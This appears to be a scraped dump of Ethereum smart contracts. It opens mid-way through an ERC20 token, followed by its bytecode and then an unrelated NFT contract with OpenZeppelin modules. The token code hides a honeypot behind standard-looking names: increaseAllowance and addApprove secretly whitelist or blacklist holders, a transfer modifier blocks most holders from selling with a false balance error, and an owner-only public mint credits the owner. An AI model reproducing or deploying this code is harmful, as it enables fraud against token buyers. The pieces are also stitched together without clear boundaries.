increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb14610626578063b2bdfa7b1461068c578063dd62ed3e146106d6578063e12681151461074e576100f5565b806352b0f196146103b157806370a082311461050757806380b2122e1461055f57806395d89b41146105a3576100f5565b806318160ddd116100d357806318160ddd1461029b57806323b872dd146102b9578063313ce5671461033f5780634e6ec24714610363576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610806565b005b6101ba6109bf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a61565b604051808215151515815260200191505060405180910390f35b6102a3610a7f565b6040518082815260200191505060405180910390f35b610325600480360360608110156102cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a89565b604051808215151515815260200191505060405180910390f35b610347610b62565b604051808260ff1660ff16815260200191505060405180910390f35b6103af6004803603604081101561037957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b79565b005b610505600480360360608110156103c757600080fd5b8101908080359060200190929190803590602001906401000000008111156103ee57600080fd5b82018360208201111561040057600080fd5b8035906020019184602083028401116401000000008311171561042257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561048257600080fd5b82018360208201111561049457600080fd5b803590602001918460208302840111640100000000831117156104b657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d98565b005b6105496004803603602081101561051d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f81565b6040518082815260200191505060405180910390f35b6105a16004803603602081101561057557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc9565b005b6105ab6110d0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105eb5780820151818401526020810190506105d0565b50505050905090810190601f1680156106185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726004803603604081101561063c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611172565b604051808215151515815260200191505060405180910390f35b610694611190565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b6565b6040518082815260200191505060405180910390f35b6108046004803603602081101561076457600080fd5b810190808035906020019064010000000081111561078157600080fd5b82018360208201111561079357600080fd5b803590602001918460208302840111640100000000831117156107b557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061123d565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156109bb576001600260008484815181106108ea57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061095557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108cf565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a575780601f10610a2c57610100808354040283529160200191610a57565b820191906000526020600020905b815481529060010190602001808311610a3a57829003601f168201915b5050505050905090565b6000610a75610a6e6113f5565b84846113fd565b6001905092915050565b6000600554905090565b6000610a968484846115f4565b610b5784610aa26113f5565b610b5285604051806060016040528060288152602001612eaa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b086113f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6113fd565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c5181600554612db190919063ffffffff16565b600581905550610cca81600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b8251811015610f7b57610e9a838281518110610e7957fe5b6020026020010151838381518110610e8d57fe5b6020026020010151611172565b5083811015610f6e576001806000858481518110610eb457fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610f6d838281518110610f1c57fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6113fd565b5b8080600101915050610e61565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111685780601f1061113d57610100808354040283529160200191611168565b820191906000526020600020905b81548152906001019060200180831161114b57829003601f168201915b5050505050905090565b600061118661117f6113f5565b84846115f4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611300576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008090505b81518110156113f157600180600084848151811061132057fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611306565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611483576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612ef76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611509576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e626022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156116c35750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156119ca5781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561178f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611815576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611820868686612e39565b61188b84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061191e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce9565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611a735750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611acb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611e2657600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611b5857508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611b6557806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611beb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611c71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611c7c868686612e39565b611ce784604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d7a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce8565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561214057600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b611f96868686612e39565b61200184604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612094846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce7565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561255857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122425750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612297576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561231d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156123a3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b6123ae868686612e39565b61241984604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124ac846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce6565b60035481101561292a57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612669576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156126ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612775576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612780868686612e39565b6127eb84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287e846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612ce5565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806129d35750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612a28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e846026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ed26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612b34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e3f6023913960400191505060405180910390fd5b612b3f868686612e39565b612baa84604051806060016040528060268152602001612e84602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cf19092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c3d846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db190919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612d9e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d63578082015181840152602081019050612d48565b50505050905090810190601f168015612d905780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612e2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207b0693892dd5c46992c6aa1b61a9f96dad7721c253c105f5250bbed3209cf4f164736f6c63430006060033
[ 38 ]
0xF2fA983e7b274f4103128f615Ac441d466eDdA13
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/AccessControl.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "./IApprovalProxy.sol"; abstract contract SMCArtERC721 is ERC721, AccessControl, Pausable, Ownable { using Strings for uint256; event UpdateApprovalProxy(address _newProxyContract); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); IApprovalProxy public approvalProxy; string public baseURI; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); } function exists(uint256 tokenId) public view returns (bool) { return _exists(tokenId); } function mint(address to, uint256 tokenId) public onlyRole(MINTER_ROLE) { _mint(to, tokenId); } function mint(address[] memory tos, uint256[] memory tokenIds) public { require( tos.length == tokenIds.length, "SMCERC721: mint args must be equals" ); for (uint256 i; i < tos.length; i++) { mint(tos[i], tokenIds[i]); } } function mintFor( address to, uint256 tokenId, bytes calldata mintingBlob ) public { mint(to, tokenId); } function setApprovalProxy(address _new) public onlyOwner { approvalProxy = IApprovalProxy(_new); emit UpdateApprovalProxy(_new); } function setApprovalForAll(address _spender, bool _approved) public virtual override(ERC721) { if ( address(approvalProxy) != address(0x0) && Address.isContract(_spender) ) { approvalProxy.setApprovalForAll(msg.sender, _spender, _approved); } super.setApprovalForAll(_spender, _approved); } function isApprovedForAll(address _owner, address _spender) public view override(ERC721) returns (bool) { bool original = super.isApprovedForAll(_owner, _spender); if (address(approvalProxy) != address(0x0)) { return approvalProxy.isApprovedForAll(_owner, _spender, original); } return original; } function pause() external onlyRole(MINTER_ROLE) { _pause(); } function unpause() external onlyRole(MINTER_ROLE) { _unpause(); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { string memory _tokenURI = _tokenURIs[tokenId]; if (bytes(_tokenURI).length > 0) { return string(_tokenURI); } string memory URI = _baseURI(); return bytes(URI).length > 0 ? string(abi.encodePacked(URI, tokenId.toString())) : ""; } function setTokenURI(uint256 tokenId, string memory _tokenURI) external onlyRole(MINTER_ROLE) { _tokenURIs[tokenId] = _tokenURI; } function setBaseURI(string memory newURI) external onlyRole(MINTER_ROLE) { baseURI = newURI; } function _baseURI() internal view override returns (string memory) { return baseURI; } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } function supportsInterface(bytes4 interfaceId) public view override(AccessControl, ERC721) returns (bool) { return super.supportsInterface(interfaceId); } } contract SMCArt is SMCArtERC721 { using Address for address; using Strings for uint256; constructor(string memory _name, string memory _symbol) SMCArtERC721(_name, _symbol) { baseURI = string( abi.encodePacked( "https://metadata.nftplus.io/metadata/", symbol(), "/" ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; 